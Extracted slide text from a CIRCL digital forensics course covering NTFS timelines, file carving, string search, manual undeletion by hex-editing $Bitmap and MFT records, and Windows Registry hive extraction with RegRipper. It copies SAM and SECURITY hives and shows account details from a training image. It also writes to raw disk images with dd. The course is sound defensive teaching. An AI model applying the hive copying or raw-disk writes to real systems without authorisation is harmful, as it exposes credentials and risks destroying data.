Thu Jun 27 2013 13:07:52       75 .acb        41-128-1 c:/03-copy.txt
Thu Jun 27 2013 13:10:36       75 ..c.        39-128-1 c:/44.txt
Thu Jun 27 2013 13:14:20       20 m...        42-128-1 c:/06.txt
Thu Jun 27 2013 13:56:30       20 .acb        42-128-1 c:/06.txt
```

File: 01.txt

```
Thu Jun 27 2013 12:23:08      113 ...b        35-128-1 c:/01.txt
Thu Jun 27 2013 12:33:50      113 m.c.        35-128-1 c:/01.txt
```

File: 02.txt

```
Thu Jun 27 2013 12:24:20       75 m.cb        37-128-1 c:/02.txt
```

5.4 Time Line: Exercise

Reproduce file system activities

```
Thu Jun 27 2013 12:23:08      113 ...b        35-128-1 c:/01.txt
Thu Jun 27 2013 12:24:20       75 m.cb        37-128-1 c:/02.txt
Thu Jun 27 2013 12:25:24       75 m.cb        38-128-1 c:/03.txt
                               75 m...        41-128-1 c:/03 - Copy.txt
Thu Jun 27 2013 12:26:05       75 m..b        39-128-1 c:/44.txt
Thu Jun 27 2013 12:27:00       75 macb        40-128-1 c:/05.txt (deleted)
Thu Jun 27 2013 12:33:50      113 m.c.        35-128-1 c:/01.txt
Thu Jun 27 2013 13:07:52       75 .acb        41-128-1 c:/03 - Copy.txt
Thu Jun 27 2013 13:10:36       75 ..c.        39-128-1 c:/44.txt
Thu Jun 27 2013 13:14:20       20 m...        42-128-1 c:/06.txt
Thu Jun 27 2013 13:56:30       20 .acb        42-128-1 c:/06.txt
```

File: 03.txt, 03-copy.txt

```
Thu Jun 27 2013 12:25:24       75 m.cb        38-128-1 c:/03.txt
                               75 m...        41-128-1 c:/03-copy.txt
Thu Jun 27 2013 13:07:52       75 .acb        41-128-1 c:/03-copy.txt
```

File: 02.txt

```
Thu Jun 27 2013 12:26:05       75 m..b        39-128-1 c:/44.txt
Thu Jun 27 2013 13:10:36       75 ..c.        39-128-1 c:/44.txt
```

5.4 Time Line: Exercise

Reproduce file system activities

```
Thu Jun 27 2013 12:23:08      113 ...b        35-128-1 c:/01.txt
Thu Jun 27 2013 12:24:20       75 m.cb        37-128-1 c:/02.txt
Thu Jun 27 2013 12:25:24       75 m.cb        38-128-1 c:/03.txt
                               75 m...        41-128-1 c:/03-copy.txt
Thu Jun 27 2013 12:26:05       75 m..b        39-128-1 c:/44.txt
Thu Jun 27 2013 12:27:00       75 macb        40-128-1 c:/05.txt (deleted)
Thu Jun 27 2013 12:33:50      113 m.c.        35-128-1 c:/01.txt
Thu Jun 27 2013 13:07:52       75 .acb        41-128-1 c:/03 - Copy.txt
Thu Jun 27 2013 13:10:36       75 ..c.        39-128-1 c:/44.txt
Thu Jun 27 2013 13:14:20       20 m...        42-128-1 c:/06.txt
Thu Jun 27 2013 13:56:30       20 .acb        42-128-1 c:/06.txt
```

File: 05.txt

```
Thu Jun 27 2013 12:27:00       75 macb        40-128-1 c:/05.txt (deleted)
```

File: 06.txt

```
Thu Jun 27 2013 13:14:20       20 m...        42-128-1 c:/06.txt
Thu Jun 27 2013 13:56:30       20 .acb        42-128-1 c:/06.txt
```

5.4 Time Line: Exercise

```
Summary: What could we reproduce                                    Yes/No
-------------------------------------------------------------------------

01.txt
      1. 12:23:08 01.txt -> new create                              Yes
      6. 12:29:07 01.txt -> modified content                            No
      7. 12:33:50 01.txt -> 2nd modification                        Yes

02.txt
      2. 12:24:20 02.txt -> new create                              Yes
      8. 12:29:50 02.txt -> open/access file                            No
      9. 12:30:01 02.txt -> close                                       No

03.txt, time-03 - Copy.txt
      3. 12:25:24 03.txt -> new create                              Yes
     10. 13:07:52 03.txt -> copy to 03-copy.txt                     Yes/No

44.txt
      4. 12:26:05 04.txt -> new create                              Yes
     11. 13:10:36 04.txt -> rename to 44.txt                        Yes/No

05.txt
      5. 12:27:00 05.txt -> new create                              Yes
     14. 13:58:07 05.txt -> delete file                                 No

06.txt
     12. 13:14:20 06.txt -> new created on other drive              Yes/No
     13. 13:56:30 06.txt -> copy to local drive                     Yes
```

5.5 Create a Time Line

```
$ mkdir time


$ fls -o 2048 -r -m d:/ circl-dfir.dd > time/d.body

          -r     Recursive
          -m     Time machine format
          D:/    Add D:/ as mountpoint in report


$ cd time
$ mactime -b d.body > d.time
$ less d.time

.....
Wed May 03 2023 16:39:48 134217728 m.c.    113-128-2 d:/NTFS/Challenge_UnDel/ntfs.back
                              48 ...b     114-144-2 d:/Paula (deleted)
                            1246 macb     115-128-2 d:/Paula/Paula.txt (deleted)
                             240 .a.b     116-144-2 d:/RO
                         269483520 .a.b   117-128-2 d:/RO/ro.raw
Wed May 03 2023 16:39:50     240 m.c.     116-144-2 d:/RO
                         269483520 m.c.   117-128-2 d:/RO/ro.raw
                         269483520 .a.b   118-128-2 d:/RO/ro.back
Wed May 03 2023 16:39:51 269483520 m.c.   118-128-2 d:/RO/ro.back
                             144 macb     119-144-2 d:/timeline
                            5936 macb     120-128-2 d:/timeline/c.txt
Wed May 03 2023 16:40:25      48 mac.     114-144-2 d:/Paula (deleted)
```

5.5 Create a Time Line

Limit the timeline to the term Paula

```
1.   grep -i paula d.body | grep -v FILE_NAME > paula.body

2.   mactime -b paula.body > paula.time

3.   less paula.time
```

```
Wed May 03 2023 16:39:48        48 ...b     114-144-2 d:/Paula (deleted)
                              1246 macb     115-128-2 d:/Paula/Paula.txt (deleted)
Wed May 03 2023 16:40:25        48 mac.     114-144-2 d:/Paula (deleted)
```

Can you tell the storry?

-

5.5 Create a Time Line

Limit the timeline to the term Paula

```
1.   grep -i paula d.body | grep -v FILE_NAME > paula.body

2.   mactime -b paula.body > paula.time

3.   less paula.time
```

```
Wed May 03 2023 16:39:48        48 ...b     114-144-2 d:/Paula (deleted)
                              1246 macb     115-128-2 d:/Paula/Paula.txt (deleted)
Wed May 03 2023 16:40:25        48 mac.     114-144-2 d:/Paula (deleted)
```

Can you tell the storry?

```
1. Wed May 03 2023 16:39:48     Directory 'Paula' created in the root directory

2. Wed May 03 2023 16:39:48     File 'Paula.txt' created in directory 'Paula'

3.                              Directory 'Paula' and file 'Paula.txt' got deleted

4. Wed May 03 2023 16:40:25     Directory 'Paula' last access, content/meta modified
                               -> Most likely due to file 'Paula.txt deleted
```

5.6 Challenge: Time Line Analysis

2009 M57—Jean

https://digitalcorpora.org/corpora/scenarios/m57-jean/

```
M57-Jean/
|-- original_disk
|   |-- nps-2008-jean.E01
|   |-- nps-2008-jean.E02
|-- slides
    |-- M57-Jean.pdf
    |-- M57-Jean_Solution.pdf

2 directories, 4 files
```

```
$ ewfinfo original_disk/nps-2008-jean.E01
$ ewfexport original_disk/nps-2008-jean.E01
```

```
$ mmls ../nps-2008-jean.raw.raw
$ fls -r -o 63 -m C: ../nps-2008-jean.raw.raw > c.body
$ mactime -z UTC -b c.body > c.time
$ less c.time
```

—> Search for the file m57biz.xls

CIRCL
FORENSICS Training

6.

CIRCL
FORENSICS Training

7. Carving and String Search

7.1 Magic Bytes - File signatures

```
xxd logo_h4k-350x250.jpg | less
0000000: ffd8 ffe0 0010 4a46 4946 0001 0100 0001  ......JFIF......
...
...
0008cc0: 0fa5 0a28 141a 0028 a0d0 3a50 07ff d9    ...(...(..:P...
```

```
xxd cases.jpg | less
0000000: ffd8 ffe1 0018 4578 6966 0000 4949 2a00  ......Exif..II*.
...
...
0001730: 4028 0500 a014 0280 501f ffd9            @(......P...
```

/etc/scalpel/scalpel.conf

```
jpg     y     200000000     \xff\xd8\xff\xe0\x00\x10     \xff\xd9
jpg     y     200000000     \xff\xd8\xff\xe1             \xff\xd9
```

7.1 Magic Bytes - File signatures

```
xxd MECO-SMILE.pdf | less
0000000: 2550 4446 2d31 2e34 0a25 c7ec 8fa2 0a35  %PDF-1.4.%.....5
...
...
005c4d0: 3431 390a 2525 454f 460a                 419.%%EOF.
```

```
xxd LU-NCSS-2-EN.pdf | less
00000000: 2550 4446 2d31 2e35 0d25 e2e3 cfd3 0d0a  %PDF-1.5.%......
...
...
0007a7e0: 6566 0d31 3136 0d25 2545 4f46 0d         ef.116.%%EOF.
```

/etc/scalpel/scalpel.conf

```
pdf     y       5000000     %PDF     %EOF\x0d     REVERSE
pdf     y       5000000     %PDF     %EOF\x0a     REVERSE
```

7.2 Carving tools

- Foremost
  - Version 1.5.7
- Scalpel
  - Version 1.60
  - Based on Foremost 0.69
- Bulk Extractor
  - Emails, Email addresses
  - URLs
  - Credit card numbers
  - Social media
  - Telephone numbers
  - ...
- Testdisk - Photorec

7.3 Limitations

- Basically file system independent
- Data sequential
  - Data must be sequential
  - Fragmented data leads to broken files
  - Very large files are more fragmented
  - Depends on file system
  - Depends on media type
  - Data could be overwritten partially
- End of file
  - Does the file format support end marker
  - Do we find a new magic byte
  - Overlapping files
  - Empty space at the end of a sector

7.4 Exercise: Recover data from formated drive

- Try meta data based recovery with `fls`
- Carving formated drive

```
mkdir out1/
foremost -t all -i formated.dd -o out1/

out1/audit.txt
```

```
File: deleted.dd
Start: Wed Aug 22 16:20:43 2018
Length: 32 MB (33554432 bytes)

Num      Name (bs=512)          Size       File Offset     Comment
0:       00009032.jpg           5 KB          4624384
1:       00009080.jpg          35 KB          4648960
2:       00037617.jpg          30 KB         19260232
3:       00037678.jpg         106 KB         19291633
.....
16:      00037608.pdf           1 MB         19255296
17:      00041288.pdf         489 KB         21139456       (PDF is Linearized)
Finish: Wed Aug 22 16:20:43 2018
18 FILES EXTRACTED

jpg:= 9
png:= 6
pdf:= 3
```

7.5 What is 'String Search'?

- Not sophisticated
- Search for strings
  - At least 4 characters long
  - From any file: Text, binary, disk image
  - Search for ASCII, Unicode, big/little endian
- Search the disk image for known words
  - Terms used in a secret document
  - IBAN ot other banking details
  - Email addresses or URLs
- Search thrue all the blocks
  - Allocated non sllocated blocks
  - File slack and outside partition boundaries
- Goal
  - Proof that the data was there once
  - Identify intresting data that are close

7.6 Examples

- Search for strings
  - `strings -a circl-dfir.dd | less`
- Min-Len
  - `strings -a -n 10 circl-dfir.dd | less`
- Unicode 16 bit little endian
  - `strings -a -n 10 -el circl-dfir.dd | less`
- Unicode 16 bit big endian
  - `strings -a -n 10 -eb circl-dfir.dd | less`
- Offset in decimal
  - `strings -a -n 10 -eb -td circl-dfir.dd | less`
- grep for your search term
  - `strings -a -n 10 -td circl-dfir.dd | grep -i paula`

7.7 Steps to do a String Search

1. Identify block/cluster size
   `mmls, fsstat`
2. Search for the string and the offset
   `blkls | srch_strings | grep`
3. Calculate block/cluster of the string
   `xxxxxxxxxx / 4096 = yyyy`
4. Review block/cluster content
   `blkcat`
5. Identify inode of the block/cluster
   `ifind`
6. Identify associated file
   `ffind`
7. Recover file
   `icat`
   Or mount and copy file

7.8 Exercise: What about Paulas cat?

1. Identify cluster size

```
mmls circl-dfir.dd

     1       Slot      Start        End          Length       Description
000:  Meta      0000000000   0000000000   0000000001   Primary Table (#0)
001:  -------   0000000000   0000002047   0000002048   Unallocated
002:  000:000   0000002048   0004917247   0004915200   NTFS / exFAT (0x07)
```

```
fsstat -o 2048 circl-dfir.dd

     File System Type: NTFS
     Volume Serial Number: 7B6E5F9427919882
     OEM Name: NTFS
     Volume Name: CIRCL-DFIR
     Version: Windows XP

     .....

     Sector Size: 512
     Cluster Size: 4096
     Total Cluster Range: 0 - 614398
     Total Sector Range: 0 - 4915198
```

7.8 Exercise: What about Paulas cat?

2. Search for the string `'Paula'`

```
blkls -e -o 2048 circl-dfir.dd | strings -a -td | grep -i paula

     157342 Paula's cat is fat.........
     157370 Paula's cat is fat.........
     .....
     157510 Paula's cat is fat.........
     157538 Paula's cat is fat.........
```

3. Calculate cluster of the string

```
echo $((157342/4096))
     38

echo $((157538/4096))
     38
```

4. Review cluster content

```
blkcat -o 2048 circl-dfir2dd 38 | strings
     .....
     Paula's cat is fat.........
     Paula's cat is fat.........
     Paula's cat is fat.........
     .....
```

7.8 Exercise: What about Paulas cat?

5. Identify inode of the cluster

```
ifind -o 2048 -d 38 circl-dfir.dd
  0-128-1
```

6. Identify associated file

```
ffind -o 2048 circl-dfir.dd 0-128-1
  //$MFT
```

7. Recover file

```
icat -o 2048 circl-dfir.dd 0-128-1 > MFT
```

Exercise: Manual approach - Learn from errors

```
dd if=circl-dfir.dd bs=4096 skip=38 count=1 | xxd | less
dd if=circl-dfir.dd bs=4096 skip=$((2048 + 38)) count=1 | xxd | less
dd if=circl-dfir.dd bs=4096 skip=$((2048/8 + 38)) count=1 | xxd | less
```

CIRCL
FORENSICS Training

8. Forensics Challenges

8.1 NTFS - Resident file becomes Non-Resident

- Situation:
  - NTFS formated partition
  - A small resident file
- Challenge:
  - Analyze MFT record
  - Let the file grow
  - Analyze MFT record
  - Analyze data clusters
  - Modify content of the file
  - Analyze data clusters
  - Analyze MFT record

8.1 NTFS - Resident file becomes Non-Resident

```
$ ls -l /cdrom/NTFS_Sub_Dir/sub_Dir_File1.txt
    13 Dez  9 14:38 /cdrom/NTFS_Sub_Dir/sub_Dir_File1.txt


$ fls -r -o 2048 ntfs.raw | grep File1
    + r/r 74-128-2:    sub_Dir_File1.txt


$ istat -o 2048 ntfs.raw 74
    Attributes:
    Type: $DATA (128-2)   Name: N/A   Resident   size: 13


$ dd if=ntfs.raw skip=$((2048 + 4*8 + 74*2)) count=2 | xxd | less
    00000000: 4649 4c45 3000 0300 0000 0000 0000 0000  FILE0...........
    00000010: 0100 0100 3800 0100 9801 0000 0004 0000  ....8...........
    .....
    00000170: 0000 0000 0000 0200 0d00 0000 1800 0000  ................
    00000180: 4865 6c6c 6f20 576f 726c 6421 0a00 0000  Hello World!....
    00000190: ffff ffff 0000 0000 0000 0000 0000 0000  ................


$ for x in {1..1000}; do echo -n "$x "; done >> /cdrom/NTFS_Sub_Dir/sub_Dir_File1.txt

$ less /cdrom/NTFS_Sub_Dir/sub_Dir_File1.txt
    Hello World!
    1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
    .....
```

8.1 NTFS - Resident file becomes Non-Resident

```
$ ls -l /cdrom/NTFS_Sub_Dir/sub_Dir_File1.txt
    3906 Apr 24 14:39 /cdrom/NTFS_Sub_Dir/sub_Dir_File1.txt


$ fls -r -o 2048 ntfs.raw | grep File1
    + r/r 74-128-2:    sub_Dir_File1.txt


$ istat -o 2048 ntfs.raw 74
    Attributes:
    Type: $DATA (128-2)   Name: N/A   Non-Resident   size: 3906   init_size: 3906
    4173


$ dd if=ntfs.raw skip=$((2048 + 4173*8)) count=8 | xxd | less
    00000000: 4865 6c6c 6f20 576f 726c 6421 0a31 2032  Hello World!.1 2
    00000010: 2033 2034 2035 2036 2037 2038 2039 2031   3 4 5 6 7 8 9 1
    00000020: 3020 3131 2031 3220 3133 2031 3420 3135  0 11 12 13 14 15
    .....


$ dd if=ntfs.raw skip=$((2048 + 4*8 + 74*2)) count=2 | xxd | less
    000001a0: 420f 0000 0000 0000 2101 4d10 0020 3135  B.......!.M.. 15
    000001b0: ffff ffff 0000 0000 3820 3139 2032 3020  ........8 19 20
    000001c0: 3231 2032 3220 3233 2032 3420 3235 2032  21 22 23 24 25 2
    .....
    000003e0: 2031 3737 2031 3738 2031 3739 2031 3830   177 178 179 180
    000003f0: 2031 3831 2000 0000 ffff ffff 0000 d607   181 ...........
```

8.1 NTFS - Resident file becomes Non-Resident

Update file content: What happen with MFT Record?

```
$ echo -n 'We modify the content of the file. What is updated:
          Cluster? MFT Record? We will see.' | dd of=/cdrom/
          NTFS_Sub_Dir/sub_Dir_File1.txt bs=44 seek=2 conv=notrunc

$ fls -r -o 2048 ntfs.raw | grep File1
    + r/r 74-128-2:    sub_Dir_File1.txt

$ istat -o 2048 ntfs.raw 74
    4173

$ dd if=ntfs.raw skip=$((2048 + 4173*8)) count=8 | xxd | less
    00000040: 3231 2032 3220 3233 2032 3420 3235 2032  21 22 23 24 25 2
    00000050: 3620 3237 2032 3820 5765 206d 6f64 6966  6 27 28 We modif
    00000060: 7920 7468 6520 636f 6e74 656e 7420 6f66  y the content of
    .....

$ dd if=ntfs.raw skip=$((2048 + 4*8 + 74*2)) count=2 | xxd | less
    000001c0: 3231 2032 3220 3233 2032 3420 3235 2032  21 22 23 24 25 2
    000001d0: 3620 3237 2032 3820 3239 2033 3020 3331  6 27 28 29 30 31
    000001e0: 2033 3220 3333 2033 3420 3335 2033 3620   32 33 34 35 36
    .....
```

8.2 File System Tunneling

- Situation:
  - NTFS formated partition
  - A normal file from before
- Challenge:
  - Analyze timestamps
  - Delete the file
  - Copy a file with the same filename
  - Analyze timestamps
  - Discover the behavior

8.2 File System Tunneling

1. Analyze time stamps of a file on NTFS

```
$ ll /cdrom/AaaA.txt
    15051 Dez  4 14:42 /cdrom/AaaA.txt*

$ fls -o 2048 ntfs.raw | grep AaaA
    r/r 64-128-2:      AaaA.txt

$ istat -o 2048 ntfs.raw 64

    $STANDARD_INFORMATION Attribute Values:
    Created:            2019-12-04 14:41:27.333050500 (CET)
    File Modified:      2019-12-04 14:42:06.235661600 (CET)
    MFT Modified:       2019-12-04 14:42:06.235661600 (CET)
    Accessed:           2019-12-04 14:41:27.333050500 (CET)

    $FILE_NAME Attribute Values:
    Created:            2019-12-04 14:41:27.333050500 (CET)
    File Modified:      2019-12-04 14:41:27.333050500 (CET)
    MFT Modified:       2019-12-04 14:41:27.333050500 (CET)
    Accessed:           2019-12-04 14:41:27.333050500 (CET)
```

2. Delete a file and create a new one with same filename

```
    # Do something like this on a Windows PC
    $ rm /cdrom/AaaA.txt; cp data_un.dd /cdrom/AaaA.txt
```

8.2 File System Tunneling

3. Analyze time stamps of the new file

```
$ ll /cdrom/AaaA.txt
    16384 Apr 27 15:51 /cdrom/AaaA.txt*


$ fls -o 2048 ntfs.raw | grep AaaA
    r/r 64-128-2:      AaaA.txt


$ istat -o 2048 ntfs.raw 64

    $STANDARD_INFORMATION Attribute Values:
    Created:            2019-12-04 14:41:27.333050500 (CET)
    File Modified:      2019-12-04 14:42:06.235661600 (CET)
    MFT Modified:       2019-12-04 14:42:06.235661600 (CET)
    Accessed:           2020-04-27 16:11:38.144645700 (CEST)

    $FILE_NAME Attribute Values:
    Created:            2019-12-04 14:41:27.333050500 (CET)
    File Modified:      2019-12-04 14:41:27.333050500 (CET)
    MFT Modified:       2019-12-04 14:41:27.333050500 (CET)
    Accessed:           2019-12-04 14:41:27.333050500 (CET)
```

.....

8.3 Un-Delete a file

- Situation:
  - NTFS formated partition
  - A file is deleted
- Challenge:
  - Analyze MFT record before delete
  - Analyze $BITMAP file before delete
  - Undo the modifications
  - Analyze MFT record after undo
  - Analyze $BITMAP file after undo
  - What is missing

8.3 Un-Delete a file

```
$ ls -l /cdrom/


$ fls -o 2048 ntfs.raw
    -/r * 73-128-2:    small_text_file.txt


$ istat -o 2048 ntfs.raw 73
    Type: $DATA (128-2)   Name: N/A   Non-Resident   size: 15000   init_size: 15000
    4169 4170 4171 4172


Data cluster:
$ dd if=ntfs.raw skip=$((2048 + 4169*8)) count=$((4*8)) | xxd | less


MFT record 73:
$ dd if=ntfs.raw skip=$((2048 + 4*8 + 73*2)) count=2| xxd | less


$Bitmap file
4169 / 8 = 521.125  --> Byte 521 (0x209) in $Bitmap file for Cluster 4168 - 4175
                    --> - - - -  - - - -
                              x  x x x

$ icat -o 2048 ntfs.raw 6  | xxd | less
```

8.3 Un-Delete a file

Fix $Bitmap file:

```
$ istat -o 2048 ntfs.raw 6
    Type: $DATA (128-1)   Name: N/A   Non-Resident   size: 4064   init_size: 4064
    4071


$ dd if=ntfs.raw skip=$((2048 + 4071*8)) count=8 | xxd | less
    00000200: ffff ffff ffff ffff ffe1 0700 0000 0000  ................


4169 / 8 = 521.125  --> Byte 521 (0x209) in $Bitmap file for Cluster 4168 - 4175
                    --> - - - -  - - - -
                              x  x x x
                        1 1 1 0  0 0 0 1
                    --> 1 1 1 1  1 1 1 1


$ dd if=ntfs.raw skip=$((2048 + 4071*8)) count=8 of=bitmap.dd
$ hexedit of=bitmap.dd
$ dd if=bitmap.dd seek=$((2048 + 4071*8)) of=ntfs.raw conv=notrunc


$ dd if=ntfs.raw skip=$((2048 + 4071*8)) count=8 | xxd | less
    00000200: ffff ffff ffff ffff ffff 0700 0000 0000  ................
```

8.3 Un-Delete a file

Fix the MFT record:

```
$ dd if=ntfs.raw skip=$((2048 + 4*8 + 73*2)) count=2 of=mft_73.dd


$ hexedit mft_73.dd
     00000000   46 49 4C 45  30 00 03 00  00 00 00 00  00 00 00 00  FILE0...........
     00000010   02 00 00 00  38 00 00 00  B8 01 00 00  00 04 00 00  ....8...........


      offset:      size:  old value:  new value:   description:
     ------------------------------------------------------------------------------
         0010         2           2           1   Record sequence number
         0012         2           0           1   Link count
         0016         2           0           1   Record flag: 0000 = file deleted
                                                                 0100 = file in use
         0030         2        1400               FixUp values
         03fe         2        1400               CRC


     00000000   46 49 4C 45  30 00 03 00  00 00 00 00  00 00 00 00  FILE0...........
     00000010   01 00 01 00  38 00 01 00  B8 01 00 00  00 04 00 00  ....8...........


$ dd if=mft_73.dd seek=$((2048 + 4*8 + 73*2)) count=2 of=ntfs.raw conv=notrunc
```

8.3 Un-Delete a file

- What is missing?
  - Compare output `ils` and `fls`
  - What about the directory
  - What is changed in a directory if a file is deleted?

→ Forensics Hackathon

CIRCL
FORENSICS Training

9. Bibliography and Outlook

9. Bibliography

- Digital Forensics with Kali Linux
  Shiva V.N. Parasram
  Packt Publishing
  ISBN-13: 978-1-78862-500-5

- Practical Forensic Imaging
  Bruce Nikkel
  No Starch Press
  ISBN-13: 978-1-59-327793-2

- Digital Forensics with Open Source Tools
  Cory Altheide, Harlan Carvey
  Syngress
  ISBN-13: 978-1-59-749586-8

9. Bibliography

- File System Forensic Analysis
  Brian Carrier
  Pearson Education
  ISBN-13: 978-0-32-126817-4

- Forensic Computing: A Practitioner's Guide
  Anthony Sammes, Brian Jenkinson
  Springer
  ISBN-13: 978-1-85-233299-0

9. Outlook

CIRCL DFIR 1.0.2

EXT File System

Overview

1. File System Analysis - Overview
2. FAT - File Allocation Table
3. NTFS - New Technology File System
4. NTFS - Advanced
5. File System Time Line
6.
7. Carving and String Search
8. Forensics Challenges
9. Bibliography and Outlook

CIRCL - Digital Forensics 1.0.3

Introduction: Windows-, Memory- and File Forensics

CIRCL *TLP:CLEAR*

info@circl.lu

December, 2024

Overview

1. Windows Registry
2. Event Logs
3. Other Sources of Information
4. Malware Analysis
5. Analysing files
6. Live Response
7. Memory Forensics
8. Bibliography and Outlook

CIRCL
FORENSICS Training

1. Windows Registry

1.1 About: Windows Registry

- MS DOS and old Windows
  - On system boot: What programs to load
  - How the system interact with the user

    → `autoexec.bat`
    → `config.sys`
    → `system.ini`
    → `win.ini`
- `https://support.microsoft.com/en-us/help/256986/`
  - A central hierarchical database
  - Replace text based config files
  - Contains information for operating
    - Hardware system wide
    - OS all aspects
    - Applications installed
    - User preferences / behavior

  → A gold mine for forensics

1.1 About: Windows Registry

Key data structures contains a last write time stamp

1.1 About: Windows Registry

- Hive files: Location

  `%SystemRoot%\system32\config`
  → `SAM, SECURITY, SYSTEM, SOFTWARE`
  `%UserProfile%\NTUSER.DAT`
  `%UserProfile%\AppData\Local\Microsoft\Windows\UsrClass.dat`

  → Created during system boot

- How often do you manually edit the Registry?
  - `regedit.exe`
  - Black Magic for many admins
    → Every user interacts with the Registry

- Timestamps → Timeline

1.2 Under the hood: Key Cell

```
0000:  a0ff ffff  6e6b 2000  6f0f 0e3b  b78d d101   ....nk .o..;....
0010:  0200 0000  085e 0500  0000 0000  0000 0000   .....^..........
0020:  ffff ffff  ffff ffff  0200 0000  0021 0500   .............!..
0030:  102e 0000  ffff ffff  0000 0000  0000 0000   ................
0040:  1400 0000  1000 0000  0000 0000  0a00 0000   ................
0050:  496e 7465  7266 6163  6573 0080  0200 0000   Interfaces......
```

Offsets:				
	0x00	0	4	Size
	0x04	4	2	Node ID
	0x06	6	2	Node type
	0x08	8	8	Last write time
	...	...		
	0x4c	76	2	Lenght of key name
	0x50	80	<76>	key name + padding

- Exercise: Calculate the size of the key cell

  `a0 ff ff ff`

- Exercise: Calculate the size of the key name

  `0a 00`

1.2 Under the hood: Value Cell

```
0000:                                d8ff ffff  766b 0d00          ....vk..
0010:  0400 0080 0200 0000  0400 0000 0100 0000  ................
0020:  4c61 7374 4b6e 6f77  6e47 6f6f 6400 0000  LastKnownGood...
```

Offset:				
	0x00	0	4	Size
	0x04	4	2	Node ID
	0x06	6	2	Value name length
	0x08	8	4	Data lenght
	0x0c	12	4	Data offset
	0x10	16	4	value typw

- Exercise: Calculate the size of the value cell

  `d8 ff ff ff`

- Exercise: Calculate the size of the value name length

  `0d 00`

1.3 Hive files

- SAM
  - Security Accounts Manager: Local users
- Security
  - Audit settings
  - Machine, domain SID
- System
  - Hardware configuration
  - System configuration
- Software
  - Windows settings
  - Application information
- NTUser.dat
  - User behavior and settings
- UsrClass.dat
  - Graphical User Interface information

1.3 Hive files

- Windows XP:

  `C:\Documents and Settings\<username>\NTUSER.DAT`

  `C:\Documents and Settings\<username>\Local Settings\Application Data\Microsoft\Windows\UsrClass.dat`

- Windows Vista and above:

  `C:\Users\<user>\NTUSER.DAT`

  `C:\Users\<user>\AppData\Local\Microsoft\Windows\UsrClass.dat`

- `C:\Windows\inf\setupapi.log`
  (Plug and Play Log)

1.3 Hive files - Exercise: Get hive files

Extract registry hive files from forensic image

-

```
mkdir registry/out
```

1.3 Hive files - Exercise: Get hive files

Extract registry hive files from forensic image

1. Investigate Meta-Information

```
ewfinfo image.E01
ewfexport image.E01
```

-

```
mkdir registry/out
```

1.3 Hive files - Exercise: Get hive files

Extract registry hive files from forensic image

1. Investigate Meta-Information

```
ewfinfo image.E01
ewfexport image.E01
```

2. Mount evidences

```
sudo mkdir /media/case1
mmls image.raw
sudo mount -o ro,offset=$((512*63)) image.raw /media/case1/
```

-

1.3 Hive files - Exercise: Get hive files

```
Extract registry hive files from forensic image
==============================================

  1. Investigate Meta-Information
  -------------------------------

     ewfinfo image.E01
     ewfexport image.E01


  2. Mount evidences
  ------------------

     sudo mkdir /media/case1
     mmls image.raw
     sudo mount -o ro,offset=$((512*63)) image.raw /media/case1/


  3. Copy files
  -------------

     mkdir registry
     cp /media/case1/WINDOWS/system32/config/SAM registry
     cp /media/case1/WINDOWS/system32/config/software registry
     cp /media/case1/WINDOWS/system32/config/system registry
     cp /media/case1/WINDOWS/system32/config/SECURITY registry
     cp /media/case1/Documents\ and\ Settings/Jean/NTUSER.DAT registry
     cp /media/case1//Documents\ and\ Settings/Jean/Local\ Settings/
        Application\ Data/Microsoft/Windows/UsrClass.dat registry/
     ls registry/
     mkdir registry/out
```

1.4 RegRipper

- https://github.com/keydet89/RegRipper4.0
- Plugins: 385

```
regripper -h
        Rip v.3.0 - CLI RegRipper tool
        Rip [-r Reg hive file] [-f profile] [-p plugin] [options]
        Parse Windows Registry files, using either a single module, or a profile.


ls /usr/lib/regripper/plugins | grep pl$ | wc -l
        249


ls /usr/lib/regripper/plugins | grep -v pl$
        all
        amcache
        ntuser
        sam
        security
        software
        syscache
        system
        usrclass
```

1.4 RegRipper - Examples

```
regripper -p compname -r software
   Select not found.


regripper -p compname -r system
   ComputerName     = JEAN-13FBF038A3
   TCP/IP Hostname = jean-13fbf038a3


regripper -p run -r NTUSER.DAT

   Software\Microsoft\Windows\CurrentVersion\Run
   LastWrite Time 2008-07-18 04:36:52Z
     MSMSGS - "C:\Program Files\Messenger\msmsgs.exe" /background
     Aim6 - "C:\Program Files\AIM6\aim6.exe" /d locale=en-US ee://aol/imApp


regripper -p run -r software

   Microsoft\Windows\CurrentVersion\Run
   LastWrite Time 2008-07-06 07:21:46Z
     VMware User Process - C:\Program Files\VMware\VMware Tools\VMwareUser.exe
     VMware Tools - C:\Program Files\VMware\VMware Tools\VMwareTray.exe

   Microsoft\Windows\CurrentVersion\Run\OptionalComponents
   LastWrite Time 2008-07-06 07:21:46Z
```

1.4 RegRipper - Examples

```
mkdir registry/out

regripper -f sam -r SAM > out/sam.txt
regripper -a     -r SAM > out/sam2.txt
less registry/out/sam.txt

     User Information
     ----------------------------
     Username        : Administrator [500]
     Full Name       :
     User Comment    : Built-in account for administering the computer/domain
     Account Type    : Default Admin User
     Account Created : 2008-05-13 22:20:14Z
     Name            :
     Last Login Date : 2008-07-21 01:22:18Z
     Pwd Reset Date  : 2008-05-13 22:23:39Z
     Pwd Fail Date   : Never
     Login Count     : 24
     Embedded RID    : 500
       --> Password does not expire
       --> Normal user account

     Username        : Guest [501]
     Full Name       :
     User Comment    : Built-in account for guest access to the computer/domain
     Account Type    : Default Guest Acct
     Account Created : 2008-05-13 22:20:14Z
```

1.5 RegRipper: Exercise

1. Extract Hive files from invected PC
2. Rip them with RegRipper profiles
3. Collect important general information
4. Try to find incident related artefacts
5. Add the information to report

-

1.5 RegRipper: Exercise

1. Extract Hive files from invected PC
2. Rip them with RegRipper profiles
3. Collect important general information
4. Try to find incident related artefacts
5. Add the information to report

```
mkdir registry/out

    regripper -a -r SAM          > out/sam.txt
    regripper -a -r SECURITY     > out/security.txt
    regripper -a -r software     > out/software.txt
    regripper -a -r system       > out/system.txt
    regripper -a -r NTUSER.DAT   > out/NTUser.txt
    regripper -a -r UsrClass.dat > out/UsrClass.txt

    ls -lh out/
         24K Nov 11 07:46 NTUser.txt
        7.1K Nov 11 07:47 sam.txt
         603 Nov 11 07:46 security.txt
        658K Nov 11 07:46 software.txt
        157K Nov 11 07:46 system.txt
        1.5K Nov 11 07:47 UsrClass.txt
```

1.6 General information: sam, security

```
less out/SAM.txt

    Username        : Administrator [500]
            Last Login Date : 2008-07-21 01:22:18Z
            Pwd Fail Date   : Never
            Login Count     : 24

    Username        : Jean [1004]
            Last Login Date : 2008-07-20 00:00:41Z
            Pwd Fail Date   : Never
